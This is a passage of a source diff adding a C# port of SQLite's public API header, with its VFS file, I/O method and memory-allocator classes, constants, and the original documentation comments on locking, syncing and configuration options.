0x00002; + const int SQLITE_SYNC_FULL = 0x00003; + const int SQLITE_SYNC_DATAONLY = 0x00010; + + /* + ** CAPI3REF: OS Interface Open File Handle {H11110} + ** + ** An [sqlite3_file] object represents an open file in the OS + ** interface layer. Individual OS interface implementations will + ** want to subclass this object by appending additional fields + ** for their own use. The pMethods entry is a pointer to an + ** [sqlite3_io_methods] object that defines methods for performing + ** I/O operations on the open file. + */ + //typedef struct sqlite3_file sqlite3_file; + //struct sqlite3_file { + // const struct sqlite3_io_methods *pMethods; /* Methods for an open file */ + //}; + public partial class sqlite3_file + { + public sqlite3_io_methods pMethods;/* Must be first */ + } + /* + ** CAPI3REF: OS Interface File Virtual Methods Object {H11120} + ** + ** Every file opened by the [sqlite3_vfs] xOpen method populates an + ** [sqlite3_file] object (or, more commonly, a subclass of the + ** [sqlite3_file] object) with a pointer to an instance of this object. + ** This object defines the methods used to perform various operations + ** against the open file represented by the [sqlite3_file] object. + ** + ** If the xOpen method sets the sqlite3_file.pMethods element + ** to a non-NULL pointer, then the sqlite3_io_methods.xClose method + ** may be invoked even if the xOpen reported that it failed. The + ** only way to prevent a call to xClose following a failed xOpen + ** is for the xOpen to set the sqlite3_file.pMethods element to NULL. + ** + ** The flags argument to xSync may be one of [SQLITE_SYNC_NORMAL] or + ** [SQLITE_SYNC_FULL]. The first choice is the normal fsync(). + ** The second choice is a Mac OS X style fullsync. The [SQLITE_SYNC_DATAONLY] + ** flag may be ORed in to indicate that only the data of the file + ** and not its inode needs to be synced. + ** + ** The integer values to xLock() and xUnlock() are one of + **
      + **
    • [SQLITE_LOCK_NONE], + **
    • [SQLITE_LOCK_SHARED], + **
    • [SQLITE_LOCK_RESERVED], + **
    • [SQLITE_LOCK_PENDING], or + **
    • [SQLITE_LOCK_EXCLUSIVE]. + **
    + ** xLock() increases the lock. xUnlock() decreases the lock. + ** The xCheckReservedLock() method checks whether any database connection, + ** either in this process or in some other process, is holding a RESERVED, + ** PENDING, or EXCLUSIVE lock on the file. It returns true + ** if such a lock exists and false otherwise. + ** + ** The xFileControl() method is a generic interface that allows custom + ** VFS implementations to directly control an open file using the + ** [sqlite3_file_control()] interface. The second "op" argument is an + ** integer opcode. The third argument is a generic pointer intended to + ** point to a structure that may contain arguments or space in which to + ** write return values. Potential uses for xFileControl() might be + ** functions to enable blocking locks with timeouts, to change the + ** locking strategy (for example to use dot-file locks), to inquire + ** about the status of a lock, or to break stale locks. The SQLite + ** core reserves all opcodes less than 100 for its own use. + ** A [SQLITE_FCNTL_LOCKSTATE | list of opcodes] less than 100 is available. + ** Applications that define a custom xFileControl method should use opcodes + ** greater than 100 to avoid conflicts. + ** + ** The xSectorSize() method returns the sector size of the + ** device that underlies the file. The sector size is the + ** minimum write that can be performed without disturbing + ** other bytes in the file. The xDeviceCharacteristics() + ** method returns a bit vector describing behaviors of the + ** underlying device: + ** + **
      + **
    • [SQLITE_IOCAP_ATOMIC] + **
    • [SQLITE_IOCAP_ATOMIC512] + **
    • [SQLITE_IOCAP_ATOMIC1K] + **
    • [SQLITE_IOCAP_ATOMIC2K] + **
    • [SQLITE_IOCAP_ATOMIC4K] + **
    • [SQLITE_IOCAP_ATOMIC8K] + **
    • [SQLITE_IOCAP_ATOMIC16K] + **
    • [SQLITE_IOCAP_ATOMIC32K] + **
    • [SQLITE_IOCAP_ATOMIC64K] + **
    • [SQLITE_IOCAP_SAFE_APPEND] + **
    • [SQLITE_IOCAP_SEQUENTIAL] + **
    + ** + ** The SQLITE_IOCAP_ATOMIC property means that all writes of + ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values + ** mean that writes of blocks that are nnn bytes in size and + ** are aligned to an address which is an integer multiple of + ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means + ** that when data is appended to a file, the data is appended + ** first then the size of the file is extended, never the other + ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that + ** information is written to disk in the same order as calls + ** to xWrite(). + ** + ** If xRead() returns SQLITE_IOERR_SHORT_READ it must also fill + ** in the unread portions of the buffer with zeros. A VFS that + ** fails to zero-fill short reads might seem to work. However, + ** failure to zero-fill short reads will eventually lead to + ** database corruption. + */ + //typedef struct sqlite3_io_methods sqlite3_io_methods; + //struct sqlite3_io_methods { + // int iVersion; + // int (*xClose)(sqlite3_file*); + // int (*xRead)(sqlite3_file*, void*, int iAmt, sqlite3_int64 iOfst); + // int (*xWrite)(sqlite3_file*, const void*, int iAmt, sqlite3_int64 iOfst); + // int (*xTruncate)(sqlite3_file*, sqlite3_int64 size); + // int (*xSync)(sqlite3_file*, int flags); + // int (*xFileSize)(sqlite3_file*, sqlite3_int64 *pSize); + // int (*xLock)(sqlite3_file*, int); + // int (*xUnlock)(sqlite3_file*, int); + // int (*xCheckReservedLock)(sqlite3_file*, int *pResOut); + // int (*xFileControl)(sqlite3_file*, int op, void *pArg); + // int (*xSectorSize)(sqlite3_file*); + // int (*xDeviceCharacteristics)(sqlite3_file*); + // /* Additional methods may be added in future releases */ + //}; + public class sqlite3_io_methods + { + public int iVersion; + public dxClose xClose; + public dxRead xRead; + public dxWrite xWrite; + public dxTruncate xTruncate; + public dxSync xSync; + public dxFileSize xFileSize; + public dxLock xLock; + public dxUnlock xUnlock; + public dxCheckReservedLock xCheckReservedLock; + public dxFileControl xFileControl; + public dxSectorSize xSectorSize; + public dxDeviceCharacteristics xDeviceCharacteristics; + /* Additional methods may be added in future releases */ + + public sqlite3_io_methods( int iVersion, + dxClose xClose, + dxRead xRead, + dxWrite xWrite, + dxTruncate xTruncate, + dxSync xSync, + dxFileSize xFileSize, + dxLock xLock, + dxUnlock xUnlock, + dxCheckReservedLock xCheckReservedLock, + dxFileControl xFileControl, + dxSectorSize xSectorSize, + dxDeviceCharacteristics xDeviceCharacteristics ) + { + this.iVersion = iVersion; + this.xClose = xClose; + this.xRead = xRead; + this.xWrite = xWrite; + this.xTruncate = xTruncate; + this.xSync = xSync; + this.xFileSize = xFileSize; + this.xLock = xLock; + this.xUnlock = xUnlock; + this.xCheckReservedLock = xCheckReservedLock; + this.xFileControl = xFileControl; + this.xSectorSize = xSectorSize; + this.xDeviceCharacteristics = xDeviceCharacteristics; + } + } + + /* + ** CAPI3REF: Standard File Control Opcodes {H11310} + ** + ** These integer constants are opcodes for the xFileControl method + ** of the [sqlite3_io_methods] object and for the [sqlite3_file_control()] + ** interface. + ** + ** The [SQLITE_FCNTL_LOCKSTATE] opcode is used for debugging. This + ** opcode causes the xFileControl method to write the current state of + ** the lock (one of [SQLITE_LOCK_NONE], [SQLITE_LOCK_SHARED], + ** [SQLITE_LOCK_RESERVED], [SQLITE_LOCK_PENDING], or [SQLITE_LOCK_EXCLUSIVE]) + ** into an integer that the pArg argument points to. This capability + ** is used during testing and only needs to be supported when SQLITE_TEST + ** is defined. + */ + //#define SQLITE_FCNTL_LOCKSTATE 1 + //#define SQLITE_GET_LOCKPROXYFILE 2 + //#define SQLITE_SET_LOCKPROXYFILE 3 + //#define SQLITE_LAST_ERRNO 4 + const int SQLITE_FCNTL_LOCKSTATE = 1; + const int SQLITE_GET_LOCKPROXYFILE = 2; + const int SQLITE_SET_LOCKPROXYFILE = 3; + const int SQLITE_LAST_ERRNO = 4; + + /* + ** CAPI3REF: Mutex Handle {H17110} + ** + ** The mutex module within SQLite defines [sqlite3_mutex] to be an + ** abstract type for a mutex object. The SQLite core never looks + ** at the internal representation of an [sqlite3_mutex]. It only + ** deals with pointers to the [sqlite3_mutex] object. + ** + ** Mutexes are created using [sqlite3_mutex_alloc()]. + */ + //typedef struct sqlite3_mutex sqlite3_mutex; + + /* + ** CAPI3REF: OS Interface Object {H11140} + ** + ** An instance of the sqlite3_vfs object defines the interface between + ** the SQLite core and the underlying operating system. The "vfs" + ** in the name of the object stands for "virtual file system". + ** + ** The value of the iVersion field is initially 1 but may be larger in + ** future versions of SQLite. Additional fields may be appended to this + ** object when the iVersion value is increased. Note that the structure + ** of the sqlite3_vfs object changes in the transaction between + ** SQLite version 3.5.9 and 3.6.0 and yet the iVersion field was not + ** modified. + ** + ** The szOsFile field is the size of the subclassed [sqlite3_file] + ** structure used by this VFS. mxPathname is the maximum length of + ** a pathname in this VFS. + ** + ** Registered sqlite3_vfs objects are kept on a linked list formed by + ** the pNext pointer. The [sqlite3_vfs_register()] + ** and [sqlite3_vfs_unregister()] interfaces manage this list + ** in a thread-safe way. The [sqlite3_vfs_find()] interface + ** searches the list. Neither the application code nor the VFS + ** implementation should use the pNext pointer. + ** + ** The pNext field is the only field in the sqlite3_vfs + ** structure that SQLite will ever modify. SQLite will only access + ** or modify this field while holding a particular static mutex. + ** The application should never modify anything within the sqlite3_vfs + ** object once the object has been registered. + ** + ** The zName field holds the name of the VFS module. The name must + ** be unique across all VFS modules. + ** + ** SQLite will guarantee that the zFilename parameter to xOpen + ** is either a NULL pointer or string obtained + ** from xFullPathname(). SQLite further guarantees that + ** the string will be valid and unchanged until xClose() is + ** called. Because of the previous sentence, + ** the [sqlite3_file] can safely store a pointer to the + ** filename if it needs to remember the filename for some reason. + ** If the zFilename parameter is xOpen is a NULL pointer then xOpen + ** must invent its own temporary name for the file. Whenever the + ** xFilename parameter is NULL it will also be the case that the + ** flags parameter will include [SQLITE_OPEN_DELETEONCLOSE]. + ** + ** The flags argument to xOpen() includes all bits set in + ** the flags argument to [sqlite3_open_v2()]. Or if [sqlite3_open()] + ** or [sqlite3_open16()] is used, then flags includes at least + ** [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]. + ** If xOpen() opens a file read-only then it sets *pOutFlags to + ** include [SQLITE_OPEN_READONLY]. Other bits in *pOutFlags may be set. + ** + ** SQLite will also add one of the following flags to the xOpen() + ** call, depending on the object being opened: + ** + **
      + **
    • [SQLITE_OPEN_MAIN_DB] + **
    • [SQLITE_OPEN_MAIN_JOURNAL] + **
    • [SQLITE_OPEN_TEMP_DB] + **
    • [SQLITE_OPEN_TEMP_JOURNAL] + **
    • [SQLITE_OPEN_TRANSIENT_DB] + **
    • [SQLITE_OPEN_SUBJOURNAL] + **
    • [SQLITE_OPEN_MASTER_JOURNAL] + **
    + ** + ** The file I/O implementation can use the object type flags to + ** change the way it deals with files. For example, an application + ** that does not care about crash recovery or rollback might make + ** the open of a journal file a no-op. Writes to this journal would + ** also be no-ops, and any attempt to read the journal would return + ** SQLITE_IOERR. Or the implementation might recognize that a database + ** file will be doing page-aligned sector reads and writes in a random + ** order and set up its I/O subsystem accordingly. + ** + ** SQLite might also add one of the following flags to the xOpen method: + ** + **
      + **
    • [SQLITE_OPEN_DELETEONCLOSE] + **
    • [SQLITE_OPEN_EXCLUSIVE] + **
    + ** + ** The [SQLITE_OPEN_DELETEONCLOSE] flag means the file should be + ** deleted when it is closed. The [SQLITE_OPEN_DELETEONCLOSE] + ** will be set for TEMP databases, journals and for subjournals. + ** + ** The [SQLITE_OPEN_EXCLUSIVE] flag is always used in conjunction + ** with the [SQLITE_OPEN_CREATE] flag, which are both directly + ** analogous to the O_EXCL and O_CREAT flags of the POSIX open() + ** API. The SQLITE_OPEN_EXCLUSIVE flag, when paired with the + ** SQLITE_OPEN_CREATE, is used to indicate that file should always + ** be created, and that it is an error if it already exists. + ** It is not used to indicate the file should be opened + ** for exclusive access. + ** + ** At least szOsFile bytes of memory are allocated by SQLite + ** to hold the [sqlite3_file] structure passed as the third + ** argument to xOpen. The xOpen method does not have to + ** allocate the structure; it should just fill it in. Note that + ** the xOpen method must set the sqlite3_file.pMethods to either + ** a valid [sqlite3_io_methods] object or to NULL. xOpen must do + ** this even if the open fails. SQLite expects that the sqlite3_file.pMethods + ** element will be valid after xOpen returns regardless of the success + ** or failure of the xOpen call. + ** + ** The flags argument to xAccess() may be [SQLITE_ACCESS_EXISTS] + ** to test for the existence of a file, or [SQLITE_ACCESS_READWRITE] to + ** test whether a file is readable and writable, or [SQLITE_ACCESS_READ] + ** to test whether a file is at least readable. The file can be a + ** directory. + ** + ** SQLite will always allocate at least mxPathname+1 bytes for the + ** output buffer xFullPathname. The exact size of the output buffer + ** is also passed as a parameter to both methods. If the output buffer + ** is not large enough, [SQLITE_CANTOPEN] should be returned. Since this is + ** handled as a fatal error by SQLite, vfs implementations should endeavor + ** to prevent this by setting mxPathname to a sufficiently large value. + ** + ** The xRandomness(), xSleep(), and xCurrentTime() interfaces + ** are not strictly a part of the filesystem, but they are + ** included in the VFS structure for completeness. + ** The xRandomness() function attempts to return nBytes bytes + ** of good-quality randomness into zOut. The return value is + ** the actual number of bytes of randomness obtained. + ** The xSleep() method causes the calling thread to sleep for at + ** least the number of microseconds given. The xCurrentTime() + ** method returns a Julian Day Number for the current date and time. + ** + */ + //typedef struct sqlite3_vfs sqlite3_vfs; + //struct sqlite3_vfs { + // int iVersion; /* Structure version number */ + // int szOsFile; /* Size of subclassed sqlite3_file */ + // int mxPathname; /* Maximum file pathname length */ + // sqlite3_vfs *pNext; /* Next registered VFS */ + // const char *zName; /* Name of this virtual file system */ + // void *pAppData; /* Pointer to application-specific data */ + // int (*xOpen)(sqlite3_vfs*, const char *zName, sqlite3_file*, + // int flags, int *pOutFlags); + // int (*xDelete)(sqlite3_vfs*, const char *zName, int syncDir); + // int (*xAccess)(sqlite3_vfs*, const char *zName, int flags, int *pResOut); + // int (*xFullPathname)(sqlite3_vfs*, const char *zName, int nOut, char *zOut); + // void *(*xDlOpen)(sqlite3_vfs*, const char *zFilename); + // void (*xDlError)(sqlite3_vfs*, int nByte, char *zErrMsg); + // void (*(*xDlSym)(sqlite3_vfs*,void*, const char *zSymbol))(void); + // void (*xDlClose)(sqlite3_vfs*, void*); + // int (*xRandomness)(sqlite3_vfs*, int nByte, char *zOut); + // int (*xSleep)(sqlite3_vfs*, int microseconds); + // int (*xCurrentTime)(sqlite3_vfs*, double*); + // int (*xGetLastError)(sqlite3_vfs*, int, char *); + /* New fields may be appended in figure versions. The iVersion + ** value will increment whenever this happens. */ + //}; + public class sqlite3_vfs + { + public int iVersion; /* Structure version number */ + public int szOsFile; /* Size of subclassed sqlite3_file */ + public int mxPathname; /* Maximum file pathname length */ + public sqlite3_vfs pNext; /* Next registered VFS */ + public string zName; /* Name of this virtual file system */ + public object pAppData; /* Pointer to application-specific data */ + public dxOpen xOpen; + public dxDelete xDelete; + public dxAccess xAccess; + public dxFullPathname xFullPathname; + public dxDlOpen xDlOpen; + public dxDlError xDlError; + public dxDlSym xDlSym; + public dxDlClose xDlClose; + public dxRandomness xRandomness; + public dxSleep xSleep; + public dxCurrentTime xCurrentTime; + public dxGetLastError xGetLastError; + /* New fields may be appended in figure versions. The iVersion + ** value will increment whenever this happens. */ + + public sqlite3_vfs() { } + + public sqlite3_vfs( int iVersion, + int szOsFile, + int mxPathname, + sqlite3_vfs pNext, + string zName, + object pAppData, + dxOpen xOpen, + dxDelete xDelete, + dxAccess xAccess, + dxFullPathname xFullPathname, + dxDlOpen xDlOpen, + dxDlError xDlError, + dxDlSym xDlSym, + dxDlClose xDlClose, + dxRandomness xRandomness, + dxSleep xSleep, + dxCurrentTime xCurrentTime, + dxGetLastError xGetLastError ) + { + this.iVersion = iVersion; + this.szOsFile = szOsFile; + this.mxPathname = mxPathname; + this.pNext = pNext; + this.zName = zName; + this.pAppData = pAppData; + this.xOpen = xOpen; + this.xDelete = xDelete; + this.xAccess = xAccess; + this.xFullPathname = xFullPathname; + this.xDlOpen = xDlOpen; + this.xDlError = xDlError; + this.xDlSym = xDlSym; + this.xDlClose = xDlClose; + this.xRandomness = xRandomness; + this.xSleep = xSleep; + this.xCurrentTime = xCurrentTime; + this.xGetLastError = xGetLastError; + } + } + /* + ** CAPI3REF: Flags for the xAccess VFS method {H11190} + ** + ** These integer constants can be used as the third parameter to + ** the xAccess method of an [sqlite3_vfs] object. {END} They determine + ** what kind of permissions the xAccess method is looking for. + ** With SQLITE_ACCESS_EXISTS, the xAccess method + ** simply checks whether the file exists. + ** With SQLITE_ACCESS_READWRITE, the xAccess method + ** checks whether the file is both readable and writable. + ** With SQLITE_ACCESS_READ, the xAccess method + ** checks whether the file is readable. + */ + //#define SQLITE_ACCESS_EXISTS 0 + //#define SQLITE_ACCESS_READWRITE 1 + //#define SQLITE_ACCESS_READ 2 + const int SQLITE_ACCESS_EXISTS = 0; + const int SQLITE_ACCESS_READWRITE = 1; + const int SQLITE_ACCESS_READ = 2; + + /* + ** CAPI3REF: Initialize The SQLite Library {H10130} + ** + ** The sqlite3_initialize() routine initializes the + ** SQLite library. The sqlite3_shutdown() routine + ** deallocates any resources that were allocated by sqlite3_initialize(). + ** + ** A call to sqlite3_initialize() is an "effective" call if it is + ** the first time sqlite3_initialize() is invoked during the lifetime of + ** the process, or if it is the first time sqlite3_initialize() is invoked + ** following a call to sqlite3_shutdown(). Only an effective call + ** of sqlite3_initialize() does any initialization. All other calls + ** are harmless no-ops. + ** + ** A call to sqlite3_shutdown() is an "effective" call if it is the first + ** call to sqlite3_shutdown() since the last sqlite3_initialize(). Only + ** an effective call to sqlite3_shutdown() does any deinitialization. + ** All other calls to sqlite3_shutdown() are harmless no-ops. + ** + ** Among other things, sqlite3_initialize() shall invoke + ** sqlite3_os_init(). Similarly, sqlite3_shutdown() + ** shall invoke sqlite3_os_end(). + ** + ** The sqlite3_initialize() routine returns [SQLITE_OK] on success. + ** If for some reason, sqlite3_initialize() is unable to initialize + ** the library (perhaps it is unable to allocate a needed resource such + ** as a mutex) it returns an [error code] other than [SQLITE_OK]. + ** + ** The sqlite3_initialize() routine is called internally by many other + ** SQLite interfaces so that an application usually does not need to + ** invoke sqlite3_initialize() directly. For example, [sqlite3_open()] + ** calls sqlite3_initialize() so the SQLite library will be automatically + ** initialized when [sqlite3_open()] is called if it has not be initialized + ** already. However, if SQLite is compiled with the [SQLITE_OMIT_AUTOINIT] + ** compile-time option, then the automatic calls to sqlite3_initialize() + ** are omitted and the application must call sqlite3_initialize() directly + ** prior to using any other SQLite interface. For maximum portability, + ** it is recommended that applications always invoke sqlite3_initialize() + ** directly prior to using any other SQLite interface. Future releases + ** of SQLite may require this. In other words, the behavior exhibited + ** when SQLite is compiled with [SQLITE_OMIT_AUTOINIT] might become the + ** default behavior in some future release of SQLite. + ** + ** The sqlite3_os_init() routine does operating-system specific + ** initialization of the SQLite library. The sqlite3_os_end() + ** routine undoes the effect of sqlite3_os_init(). Typical tasks + ** performed by these routines include allocation or deallocation + ** of static resources, initialization of global variables, + ** setting up a default [sqlite3_vfs] module, or setting up + ** a default configuration using [sqlite3_config()]. + ** + ** The application should never invoke either sqlite3_os_init() + ** or sqlite3_os_end() directly. The application should only invoke + ** sqlite3_initialize() and sqlite3_shutdown(). The sqlite3_os_init() + ** interface is called automatically by sqlite3_initialize() and + ** sqlite3_os_end() is called by sqlite3_shutdown(). Appropriate + ** implementations for sqlite3_os_init() and sqlite3_os_end() + ** are built into SQLite when it is compiled for unix, windows, or os/2. + ** When built for other platforms (using the [SQLITE_OS_OTHER=1] compile-time + ** option) the application must supply a suitable implementation for + ** sqlite3_os_init() and sqlite3_os_end(). An application-supplied + ** implementation of sqlite3_os_init() or sqlite3_os_end() + ** must return [SQLITE_OK] on success and some other [error code] upon + ** failure. + */ + //SQLITE_API int sqlite3_initialize(void); + //SQLITE_API int sqlite3_shutdown(void); + //SQLITE_API int sqlite3_os_init(void); + //SQLITE_API int sqlite3_os_end(void); + + /* + ** CAPI3REF: Configuring The SQLite Library {H14100} + ** EXPERIMENTAL + ** + ** The sqlite3_config() interface is used to make global configuration + ** changes to SQLite in order to tune SQLite to the specific needs of + ** the application. The default configuration is recommended for most + ** applications and so this routine is usually not necessary. It is + ** provided to support rare applications with unusual needs. + ** + ** The sqlite3_config() interface is not threadsafe. The application + ** must insure that no other SQLite interfaces are invoked by other + ** threads while sqlite3_config() is running. Furthermore, sqlite3_config() + ** may only be invoked prior to library initialization using + ** [sqlite3_initialize()] or after shutdown by [sqlite3_shutdown()]. + ** Note, however, that sqlite3_config() can be called as part of the + ** implementation of an application-defined [sqlite3_os_init()]. + ** + ** The first argument to sqlite3_config() is an integer + ** [SQLITE_CONFIG_SINGLETHREAD | configuration option] that determines + ** what property of SQLite is to be configured. Subsequent arguments + ** vary depending on the [SQLITE_CONFIG_SINGLETHREAD | configuration option] + ** in the first argument. + ** + ** When a configuration option is set, sqlite3_config() returns [SQLITE_OK]. + ** If the option is unknown or SQLite is unable to set the option + ** then this routine returns a non-zero [error code]. + ** + ** Requirements: + ** [H14103] [H14106] [H14120] [H14123] [H14126] [H14129] [H14132] [H14135] + ** [H14138] [H14141] [H14144] [H14147] [H14150] [H14153] [H14156] [H14159] + ** [H14162] [H14165] [H14168] + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_config(int, ...); + + /* + ** CAPI3REF: Configure database connections {H14200} + ** EXPERIMENTAL + ** + ** The sqlite3_db_config() interface is used to make configuration + ** changes to a [database connection]. The interface is similar to + ** [sqlite3_config()] except that the changes apply to a single + ** [database connection] (specified in the first argument). The + ** sqlite3_db_config() interface can only be used immediately after + ** the database connection is created using [sqlite3_open()], + ** [sqlite3_open16()], or [sqlite3_open_v2()]. + ** + ** The second argument to sqlite3_db_config(D,V,...) is the + ** configuration verb - an integer code that indicates what + ** aspect of the [database connection] is being configured. + ** The only choice for this value is [SQLITE_DBCONFIG_LOOKASIDE]. + ** New verbs are likely to be added in future releases of SQLite. + ** Additional arguments depend on the verb. + ** + ** Requirements: + ** [H14203] [H14206] [H14209] [H14212] [H14215] + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_db_config(sqlite3*, int op, ...); + + /* + ** CAPI3REF: Memory Allocation Routines {H10155} + ** EXPERIMENTAL + ** + ** An instance of this object defines the interface between SQLite + ** and low-level memory allocation routines. + ** + ** This object is used in only one place in the SQLite interface. + ** A pointer to an instance of this object is the argument to + ** [sqlite3_config()] when the configuration option is + ** [SQLITE_CONFIG_MALLOC]. By creating an instance of this object + ** and passing it to [sqlite3_config()] during configuration, an + ** application can specify an alternative memory allocation subsystem + ** for SQLite to use for all of its dynamic memory needs. + ** + ** Note that SQLite comes with a built-in memory allocator that is + ** perfectly adequate for the overwhelming majority of applications + ** and that this object is only useful to a tiny minority of applications + ** with specialized memory allocation requirements. This object is + ** also used during testing of SQLite in order to specify an alternative + ** memory allocator that simulates memory out-of-memory conditions in + ** order to verify that SQLite recovers gracefully from such + ** conditions. + ** + ** The xMalloc, xFree, and xRealloc methods must work like the + ** malloc(), free(), and realloc() functions from the standard library. + ** + ** xSize should return the allocated size of a memory allocation + ** previously obtained from xMalloc or xRealloc. The allocated size + ** is always at least as big as the requested size but may be larger. + ** + ** The xRoundup method returns what would be the allocated size of + ** a memory allocation given a particular requested size. Most memory + ** allocators round up memory allocations at least to the next multiple + ** of 8. Some allocators round up to a larger multiple or to a power of 2. + ** + ** The xInit method initializes the memory allocator. (For example, + ** it might allocate any require mutexes or initialize internal data + ** structures. The xShutdown method is invoked (indirectly) by + ** [sqlite3_shutdown()] and should deallocate any resources acquired + ** by xInit. The pAppData pointer is used as the only parameter to + ** xInit and xShutdown. + */ + //typedef struct sqlite3_mem_methods sqlite3_mem_methods; + //struct sqlite3_mem_methods { + // void *(*xMalloc)(int); /* Memory allocation function */ + // void (*xFree)(void*); /* Free a prior allocation */ + // void *(*xRealloc)(void*,int); /* Resize an allocation */ + // int (*xSize)(void*); /* Return the size of an allocation */ + // int (*xRoundup)(int); /* Round up request size to allocation size */ + // int (*xInit)(void*); /* Initialize the memory allocator */ + // void (*xShutdown)(void*); /* Deinitialize the memory allocator */ + // void *pAppData; /* Argument to xInit() and xShutdown() */ + //}; + public struct sqlite3_mem_methods + { + public dxMalloc xMalloc; //void *(*xMalloc)(int); /* Memory allocation function */ + public dxFree xFree; //void (*xFree)(void*); /* Free a prior allocation */ + public dxRealloc xRealloc; //void *(*xRealloc)(void*,int); /* Resize an allocation */ + public dxSize xSize; //int (*xSize)(void*); /* Return the size of an allocation */ + public dxRoundup xRoundup; //int (*xRoundup)(int); /* Round up request size to allocation size */ + public dxMemInit xInit; //int (*xInit)(void*); /* Initialize the memory allocator */ + public dxMemShutdown xShutdown; //void (*xShutdown)(void*); /* Deinitialize the memory allocator */ + public object pAppData; /* Argument to xInit() and xShutdown() */ + + public sqlite3_mem_methods( + dxMalloc xMalloc, + dxFree xFree, + dxRealloc xRealloc, + dxSize xSize, + dxRoundup xRoundup, + dxMemInit xInit, + dxMemShutdown xShutdown, + object pAppData + ) + { + this.xMalloc = xMalloc; + this.xFree = xFree; + this.xRealloc = xRealloc; + this.xSize = xSize; + this.xRoundup = xRoundup; + this.xInit = xInit; + this.xShutdown = xShutdown; + this.pAppData = pAppData; + } + } + + /* + ** CAPI3REF: Configuration Options {H10160} + ** EXPERIMENTAL + ** + ** These constants are the available integer configuration options that + ** can be passed as the first argument to the [sqlite3_config()] interface. + ** + ** New configuration options may be added in future releases of SQLite. + ** Existing configuration options might be discontinued. Applications + ** should check the return code from [sqlite3_config()] to make sure that + ** the call worked. The [sqlite3_config()] interface will return a + ** non-zero [error code] if a discontinued or unsupported configuration option + ** is invoked. + ** + **
    + **
    SQLITE_CONFIG_SINGLETHREAD
    + **
    There are no arguments to this option. This option disables + ** all mutexing and puts SQLite into a mode where it can only be used + ** by a single thread.
    + ** + **
    SQLITE_CONFIG_MULTITHREAD
    + **
    There are no arguments to this option. This option disables + ** mutexing on [database connection] and [prepared statement] objects. + ** The application is responsible for serializing access to + ** [database connections] and [prepared statements]. But other mutexes + ** are enabled so that SQLite will be safe to use in a multi-threaded + ** environment as long as no two threads attempt to use the same + ** [database connection] at the same time. See the [threading mode] + ** documentation for additional information.
    + ** + **
    SQLITE_CONFIG_SERIALIZED
    + **
    There are no arguments to this option. This option enables + ** all mutexes including the recursive + ** mutexes on [database connection] and [prepared statement] objects. + ** In this mode (which is the default when SQLite is compiled with + ** [SQLITE_THREADSAFE=1]) the SQLite library will itself serialize access + ** to [database connections] and [prepared statements] so that the + ** application is free to use the same [database connection] or the + ** same [prepared statement] in different threads at the same time. + ** See the [threading mode] documentation for additional information.
    + ** + **
    SQLITE_CONFIG_MALLOC
    + **
    This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mem_methods] structure. The argument specifies + ** alternative low-level memory allocation routines to be used in place of + ** the memory allocation routines built into SQLite.
    + ** + **
    SQLITE_CONFIG_GETMALLOC
    + **
    This option takes a single argument which is a pointer to an + ** instance of the [sqlite3_mem_methods] structure. The [sqlite3_mem_methods] + ** structure is filled with the currently defined memory allocation routines. + ** This option can be used to overload the default memory allocation + ** routines with a wrapper that simulations memory allocation failure or + ** tracks memory usage, for example.
    + ** + **
    SQLITE_CONFIG_MEMSTATUS
    + **
    This option takes single argument of type int, interpreted as a + ** boolean, which enables or disables the collection of memory allocation + ** statistics. When disabled, the following SQLite interfaces become + ** non-operational: + **
      + **
    • [sqlite3_memory_used()] + **
    • [sqlite3_memory_highwater()] + **
    • [sqlite3_soft_heap_limit()] + **
    • [sqlite3_status()] + **
    + **
    + ** + **
    SQLITE_CONFIG_SCRATCH
    + **
    This option specifies a static memory buffer that SQLite can use for + ** scratch memory. There are three arguments: A pointer an 8-byte + ** aligned memory buffer from which the scrach allocations will be + ** drawn, the size of each scratch allocation (sz), + ** and the maximum number of scratch allocations (N). The sz + ** argument must be a multiple of 16. The sz parameter should be a few bytes + ** larger than the actual scratch space required due to internal overhead. + ** The first argument should pointer to an 8-byte aligned buffer + ** of at least sz*N bytes of memory. + ** SQLite will use no more than one scratch buffer at once per thread, so + ** N should be set to the expected maximum number of threads. The sz + ** parameter should be 6 times the size of the largest database page size. + ** Scratch buffers are used as part of the btree balance operation. If + ** The btree balancer needs additional memory beyond what is provided by + ** scratch buffers or if no scratch buffer space is specified, then SQLite + ** goes to [sqlite3_malloc()] to obtain the memory it needs.
    + ** + **
    SQLITE_CONFIG_PAGECACHE
    + **
    This option specifies a static memory buffer that SQLite can use for + ** the database page cache with the default page cache implemenation. + ** This configuration should not be used if an application-define page + ** cache implementation is loaded using the SQLITE_CONFIG_PCACHE option. + ** There are three arguments to this option: A pointer to 8-byte aligned + ** memory, the size of each page buffer (sz), and the number of pages (N). + ** The sz argument should be the size of the largest database page + ** (a power of two between 512 and 32768) plus a little extra for each + ** page header. The page header size is 20 to 40 bytes depending on + ** the host architecture. It is harmless, apart from the wasted memory, + ** to make sz a little too large. The first + ** argument should point to an allocation of at least sz*N bytes of memory. + ** SQLite will use the memory provided by the first argument to satisfy its + ** memory needs for the first N pages that it adds to cache. If additional + ** page cache memory is needed beyond what is provided by this option, then + ** SQLite goes to [sqlite3_malloc()] for the additional storage space. + ** The implementation might use one or more of the N buffers to hold + ** memory accounting information. The pointer in the first argument must + ** be aligned to an 8-byte boundary or subsequent behavior of SQLite + ** will be undefined.
    + ** + **
    SQLITE_CONFIG_HEAP
    + **
    This option specifies a static memory buffer that SQLite will use + ** for all of its dynamic memory allocation needs beyond those provided + ** for by [SQLITE_CONFIG_SCRATCH] and [SQLITE_CONFIG_PAGECACHE]. + ** There are three arguments: An 8-byte aligned pointer to the memory, + ** the number of bytes in the memory buffer, and the minimum allocation size. + ** If the first pointer (the memory pointer) is NULL, then SQLite reverts + ** to using its default memory allocator (the system malloc() implementation), + ** undoing any prior invocation of [SQLITE_CONFIG_MALLOC]. If the + ** memory pointer is not NULL and either [SQLITE_ENABLE_MEMSYS3] or + ** [SQLITE_ENABLE_MEMSYS5] are defined, then the alternative memory + ** allocator is engaged to handle all of SQLites memory allocation needs. + ** The first pointer (the memory pointer) must be aligned to an 8-byte + ** boundary or subsequent behavior of SQLite will be undefined.
    + ** + **
    SQLITE_CONFIG_MUTEX
    + **
